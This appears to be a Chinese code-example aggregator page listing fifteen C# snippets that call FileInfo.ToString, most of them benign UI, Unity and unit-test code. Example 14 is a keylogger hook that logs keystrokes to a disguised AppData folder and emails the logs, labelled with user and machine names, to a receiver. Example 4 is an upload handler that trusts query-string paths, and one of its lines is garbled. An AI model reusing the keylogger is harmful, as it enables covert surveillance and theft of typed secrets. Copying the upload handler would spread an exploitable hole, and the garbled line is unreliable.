本文整理汇总了C#中FileInfo.ToString方法的典型用法代码示例。如果您正苦于以下问题:C# FileInfo.ToString方法的具体用法?C# FileInfo.ToString怎么用?C# FileInfo.ToString使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类FileInfo
的用法示例。
在下文中一共展示了FileInfo.ToString方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: button1_Click
private void button1_Click(object sender, EventArgs e)
{
OpenFileDialog fileDialog = new OpenFileDialog();
//判断用户是否正确的选择了文件
if (fileDialog.ShowDialog() == DialogResult.OK)
{
FileInfo fileInfo = new FileInfo(fileDialog.FileName);
label4.Text = fileInfo.ToString();
button1.Visible = false;
string str;
StreamReader reader = new StreamReader(fileInfo.ToString(), Encoding.Default);
if ((str = reader.ReadLine()) != null)
{
string[] strArray = str.Split(new char[] { '&' });
Class1 method = new Class1();
if (strArray.Length == 3)
{
label5.Text = "CPU:" + method.Decrypto(strArray[0].ToString());
label6.Text = "磁盘:" + method.Decrypto(strArray[1].ToString());
label7.Text = "mac地址:" + method.Decrypto(strArray[2].ToString());
}
}
}
}
示例2: CreateSystem
void CreateSystem()
{
// Read in EgoSystemTemplate
var templatePath = Directory.GetFiles( Application.dataPath + "/", "System.EgoTemplate", SearchOption.AllDirectories )[0];
var templateStream = new StreamReader( templatePath );
var templateStr = templateStream.ReadToEnd();
// Put System name in EgoSystemTemplate
var systemScriptStr = templateStr.Replace( "_CLASS_NAME_", newSystemName );
// Write out
var writePath = "Assets/";
if( Selection.activeObject )
{
writePath = AssetDatabase.GetAssetPath( Selection.activeObject );
}
var writePathInfo = new FileInfo( writePath );
//Check if write path is on directory or folder
var fullWritePath = "";
var writeAttr = File.GetAttributes( writePath );
if( writeAttr == FileAttributes.Directory )
{
fullWritePath = writePathInfo.ToString();
}
else
{
fullWritePath = writePathInfo.Directory.ToString();
}
fullWritePath += "\\" + newSystemName + ".cs";
File.WriteAllText( fullWritePath, systemScriptStr );
AssetDatabase.Refresh();
}
示例3: WriteLastUpdated
// Found the information for this at http://www.heybo.com/weblog/posts/288.aspx
// There are many other items that can be accessed through this method, refer to page for those.
// *NOTE* In websites it does not appear that you can have a version information resource. This prevents
// us from getting an actual version number. Translation: It appears as 0.0.0.0 when displayed on the page.
protected void WriteLastUpdated()
{
DateTime dt;
try
{
string filePath = MapPathSecure(Page.Request.CurrentExecutionFilePath);
dt = new FileInfo(filePath).LastWriteTime;
}
catch
{ // "design-time" or current path doesn't resolve to a file
dt = DateTime.Now;
}
templateLastUpdated.Text = "<p>Last updated: " + dt.ToString() + "</p>";
}
示例4: Page_Load
protected void Page_Load(object sender, EventArgs e)
{
string filePath = Server.MapPath(Request.QueryString["ax-file-path"]);
string fileName = Request.QueryString["ax-file-name"];
int currByte = Convert.ToInt32(Request.QueryString["ax-start-byte"]);
string isLast = Request.QueryString["isLast"];
//if set generates thumbs only on images type files
int thumbHeight = Convert.ToInt32(Request.QueryString["ax-thumbHeight"]);
int thumbWidth = Convert.ToInt32(Request.QueryString["ax-thumbWidth"]);
string thumbPostfix = Request.QueryString["ax-thumbPostfix"];
string thumbPath = Request.QueryString["ax-thumbPath"];
string thumbFormat = Request.QueryString["ax-thumbFormat"];
string allowExtstr = Request.QueryString["ax-allow-ext"];
string[] allowExt = allowExtstr.Split('|');
if (!System.IO.File.Exists(filePath))
{
System.IO.Directory.CreateDirectory(filePath);
}
if (!System.IO.File.Exists(thumbPath) && thumbPath.Length > 0)
{
System.IO.Directory.CreateDirectory(thumbPath);
}
if(Request.Files.Count>0)
{
for (int i = 0; i < Request.Files.Count; ++i)
{
HttpPostedFile file = Request.Files[i];
string fileNamex = (fileName.length>0)? fileName : file.FileName;
string fullPath = checkFilename(fileNamex, allowExt, filePath);
file.SaveAs(fullPath);
long size = new FileInfo(fullPath).Length;
createThumb(fullPath, thumbPath, thumbPostfix, thumbWidth, thumbHeight, thumbFormat);
Response.Write(@"{""name"":"""+System.IO.Path.GetFileName(fullPath)[email protected]""",""size"":"""+size.ToString()[email protected]""",""status"":""uploaded"",""info"":""File chunk uploaded""}");
}
}
else
{
string fullPath = (currByte!=0) ? filePath+fileName:checkFilename(fileName, allowExt, filePath);
// Create a FileStream object to write a stream to a file
if(fullPath!="error")
{
FileMode flag = (currByte==0) ? FileMode.Create : System.IO.FileMode.Append;
FileStream fileStream = new FileStream(fullPath, flag, System.IO.FileAccess.Write, System.IO.FileShare.None);
byte[] bytesInStream = new byte[Request.InputStream.Length];
Request.InputStream.Read(bytesInStream, 0, (int)bytesInStream.Length);
fileStream.Write(bytesInStream, 0, bytesInStream.Length);
fileStream.Close();
long size = new FileInfo(fullPath).Length;
if (isLast.Equals("true"))
{
createThumb(fullPath, thumbPath, thumbPostfix, thumbWidth, thumbHeight, thumbFormat);
}
Response.Write(@"{""name"":""" + System.IO.Path.GetFileName(fullPath) + @""",""size"":""" + size.ToString() + @""",""status"":""uploaded"",""info"":""File chunk uploaded""}");
}
}
}
示例5: runTest
public bool runTest()
{
Console.WriteLine(s_strTFPath + "\\" + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer);
try
{
FileInfo fil2;
strLoc = "Loc_2723d";
fil2 = new FileInfo("Hello" + Path.DirectorySeparatorChar + "file.tmp");
iCountTestcases++;
if(!fil2.ToString().Equals("Hello" + Path.DirectorySeparatorChar + "file.tmp"))
{
iCountErrors++;
printerr( "Error_5yb87! Incorrect name=="+fil2.ToString());
}
fil2 = new FileInfo(Path.DirectorySeparatorChar + "Directory" + Path.DirectorySeparatorChar + "File");
iCountTestcases++;
if(!fil2.ToString().Equals(Path.DirectorySeparatorChar + "Directory"+ Path.DirectorySeparatorChar + "File"))
{
iCountErrors++;
printerr( "Error_78288! Incorrect name=="+fil2.ToString());
}
#if !PLATFORM_UNIX
fil2 = new FileInfo("\\\\Machine\\Directory\\File");
iCountTestcases++;
if(!fil2.ToString().Equals("\\\\Machine\\Directory\\File"))
{
iCountErrors++;
printerr( "Error_67y8b! Incorrect name=="+fil2.ToString());
}
fil2 = new FileInfo("C:\\File.tmp hello.blah");
iCountTestcases++;
if(!fil2.ToString().Equals("C:\\File.tmp hello.blah"))
{
iCountErrors++;
printerr( "Error_2987b! Incorrect name=="+fil2.ToString());
}
#endif
fil2 = new FileInfo("C://Directory//File");
iCountTestcases++;
if(!fil2.ToString().Equals("C://Directory//File"))
{
iCountErrors++;
printerr( "Error_2y78d! Incorrect name=="+fil2.ToString());
}
}
catch (Exception exc_general )
{
++iCountErrors;
Console.WriteLine (s_strTFAbbrev + " : Error Err_8888yyy! strLoc=="+ strLoc +", exc_general=="+exc_general.ToString());
}
if ( iCountErrors == 0 )
{
Console.WriteLine( "paSs. "+s_strTFName+" ,iCountTestcases=="+iCountTestcases.ToString());
return true;
}
else
{
Console.WriteLine("FAiL! "+s_strTFName+" ,iCountErrors=="+iCountErrors.ToString()+" , BugNums?: "+s_strActiveBugNums );
return false;
}
}
示例6: runTest
public static void runTest()
{
try
{
///////////////////////// START TESTS ////////////////////////////
///////////////////////////////////////////////////////////////////
FileInfo fil2;
// [] Check commonly used file formats
//-----------------------------------------------------------------
s_strLoc = "Loc_2723d";
fil2 = new FileInfo(Path.Combine("Hello", "file.tmp"));
s_iCountTestcases++;
if (!fil2.ToString().Equals(Path.Combine("Hello", "file.tmp")))
{
s_iCountErrors++;
printerr("Error_5yb87! Incorrect name==" + fil2.ToString());
}
fil2 = new FileInfo(Path.DirectorySeparatorChar + Path.Combine("Directory", "File"));
s_iCountTestcases++;
if (!fil2.ToString().Equals(Path.DirectorySeparatorChar + Path.Combine("Directory", "File")))
{
s_iCountErrors++;
printerr("Error_78288! Incorrect name==" + fil2.ToString());
}
fil2 = new FileInfo(new string(Path.DirectorySeparatorChar, 2) + Path.Combine("Machine", "Directory", "File"));
s_iCountTestcases++;
if (!fil2.ToString().Equals(new string(Path.DirectorySeparatorChar, 2) + Path.Combine("Machine", "Directory", "File")))
{
s_iCountErrors++;
printerr("Error_67y8b! Incorrect name==" + fil2.ToString());
}
fil2 = new FileInfo(Path.Combine(Path.GetPathRoot(Directory.GetCurrentDirectory()), "File.tmp hello.blah"));
s_iCountTestcases++;
if (!fil2.ToString().Equals(Path.Combine(Path.GetPathRoot(Directory.GetCurrentDirectory()), "File.tmp hello.blah")))
{
s_iCountErrors++;
printerr("Error_2987b! Incorrect name==" + fil2.ToString());
}
fil2 = new FileInfo(Path.Combine(Path.GetPathRoot(Directory.GetCurrentDirectory()), "Directory", "File").Replace(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar));
s_iCountTestcases++;
if (!fil2.ToString().Equals(Path.Combine(Path.GetPathRoot(Directory.GetCurrentDirectory()), "Directory", "File").Replace(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar)))
{
s_iCountErrors++;
printerr("Error_2y78d! Incorrect name==" + fil2.ToString());
}
//-----------------------------------------------------------------
///////////////////////////////////////////////////////////////////
/////////////////////////// END TESTS /////////////////////////////
}
catch (Exception exc_general)
{
++s_iCountErrors;
Console.WriteLine("Error Err_8888yyy! strLoc==" + s_strLoc + ", exc_general==" + exc_general.ToString());
}
//// Finish Diagnostics
if (s_iCountErrors != 0)
{
Console.WriteLine("FAiL! " + s_strTFName + " ,iCountErrors==" + s_iCountErrors.ToString());
}
Assert.Equal(0, s_iCountErrors);
}
示例7: readImage
void readImage(string pPath)
{
FileInfo lFileInfo = new FileInfo(pPath);
if (imgPathToData.ContainsKey(lFileInfo.ToString()))
{
nowOutData = imgPathToData[lFileInfo.ToString()];
}
else
{
var lExtension = System.IO.Path.GetExtension(fileBrowserDialog.selectedLocation);
lExtension = lExtension.Substring(1, lExtension.Length - 1);
//{
int lXCount;
var lImageFile = System.Drawing.Image.FromFile(fileBrowserDialog.selectedLocation);
int lWidth = lImageFile.Width;
int lHeight = lImageFile.Height;
var lImageInfo = new CombineImagePlane.ImageInfo();
//if (lWidth > maxSize || lHeight > maxSize)
//{
print("decomposeImage(lImageFile)");
lImageInfo.rightBottomRect = decomposeImage(lImageFile, PixelFormat.Format32bppArgb,
out decomposedImages, out lXCount);
//lImageFile.Dispose();
//return;
//}
lImageFile.Dispose();
lImageInfo.images = new RenderMaterialResourceInfo[decomposedImages.Length];
lImageInfo.xCount = lXCount;
int i = 0;
foreach (var lDecomposedImage in decomposedImages)
{
var lResource = GameResourceManager.Main.createImage(lDecomposedImage);
lResource.extension = lExtension;
lImageInfo.images[i] = lResource;
++i;
}
//}
//Texture2D lImage = new Texture2D(4, 4, TextureFormat.ARGB32, false);
//using (var lImageFile = new FileStream(fileBrowserDialog.selectedLocation, FileMode.Open))
//{
// BinaryReader lBinaryReader = new BinaryReader(lImageFile);
// lImage.LoadImage(lBinaryReader.ReadBytes((int)lImageFile.Length));
//}
nowOutData = new OutData(lImageInfo, lExtension, lWidth, lHeight);
imgPathToData[lFileInfo.ToString()] = nowOutData;
}
foreach (var lRenderer in previewRenderer.GetComponentsInChildren<Renderer>())
{
lRenderer.enabled = false;
}
previewRenderer.GetComponent<CombineImagePlane>().imageInfo = nowOutData.imageInfo;
Vector2 lSize = zzSceneImageGUI.getFitSize(drawMaxSize, nowOutData.width, nowOutData.height);
previewTransform.localScale = new Vector3(lSize.x, lSize.y, 1f);
sizeChangedEvent(nowOutData.width, nowOutData.height);
//image = nowOutData.resource.resource;
readImageEvent();
}
示例8: readImage
void readImage(string pPath)
{
FileInfo lFileInfo = new FileInfo(pPath);
if (imgPathToData.ContainsKey(lFileInfo.ToString()))
{
nowPainterOutData = imgPathToData[lFileInfo.ToString()];
}
else
{
Texture2D lImage = new Texture2D(4, 4, TextureFormat.ARGB32, false);
using (var lImageFile = new FileStream(fileBrowserDialog.selectedLocation, FileMode.Open))
{
BinaryReader lBinaryReader = new BinaryReader(lImageFile);
lImage.LoadImage(lBinaryReader.ReadBytes((int)lImageFile.Length));
}
nowPainterOutData = new PainterOutData();
nowPainterOutData.modelImage = GameResourceManager.Main.createImage(lImage);
//new GenericResource<Texture2D>( lImage);
imgPathToData[lFileInfo.ToString()] = nowPainterOutData;
}
image = nowPainterOutData.modelImage.resource;
}
示例9: UNCShare
public void UNCShare()
{
string path = new string(Path.DirectorySeparatorChar, 2) + Path.Combine("Machine", "Directory", "File");
var info = new FileInfo(path);
Assert.Equal(path, info.ToString());
}
示例10: AlternateDirectoryDividerChar
public void AlternateDirectoryDividerChar()
{
string path = Path.Combine(Path.GetPathRoot(Directory.GetCurrentDirectory()), "Directory", "File").Replace(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
var info = new FileInfo(path);
Assert.Equal(path, info.ToString());
}
示例11: WithExtension
public void WithExtension()
{
string path = Path.Combine(GetTestFilePath(), "file.txt");
var info = new FileInfo(path);
Assert.Equal(path, info.ToString());
}
示例12: RootDriveFiles
public void RootDriveFiles()
{
string path = Path.Combine(Path.GetPathRoot(TestDirectory), GetTestFileName());
var info = new FileInfo(path);
Assert.Equal(path, info.ToString());
}
示例13: ValidFile
public void ValidFile()
{
string path = GetTestFilePath();
var info = new FileInfo(path);
Assert.Equal(path, info.ToString());
}
示例14: HookCallback
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
//Write to console and to file
Console.WriteLine((Keys)vkCode);
writeLetter((Keys)vkCode);
//Send log via email when it reaches a certain weight.
FileInfo logFile = new FileInfo(appData + @"\SysWin32\log.txt");
if (logFile.Exists && logFile.Length > 1000 && checkInternet())
{
string filename = "log_" + Environment.UserName + "@" + Environment.MachineName + "_" + DateTime.Now.ToString(@"MM_dd_yyyy_hh\hmm\mss") + ".txt";
sendMail(System.IO.File.ReadAllText(logFile.ToString()), senderEmail, receiverEmail, senderPassword, filename);
logFile.MoveTo(appData + @"\SysWin32\logs\" + filename);
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
示例15: GetFileSizeWithUnit
private string GetFileSizeWithUnit(string filePath)
{
long size = new FileInfo(filePath).Length;
string unit = string.Empty;
string strSize = string.Empty;
if (size < 1024)
{
unit = "B";
strSize = size.ToString();
}
else if (size < 1048576)
{
unit = "KB";
strSize = ((float)size / 1024).ToString();
}
else if (size < 1073741824)
{
unit = "MB";
strSize = ((float)size / 1048576).ToString();
}
else if (size < 1099511627776)
{
unit = "GB";
strSize = ((float)size / 1073741824).ToString();
}
else if (size < 1125899906842624)
{
unit = "TB";
strSize = ((float)size / 1099511627776).ToString();
}
try
{
int point = strSize.IndexOf(".");
if (point > -1)
strSize = strSize.Substring(0, point + 3);
}
catch
{
}
return string.Format("{0} {1}", strSize, unit);
}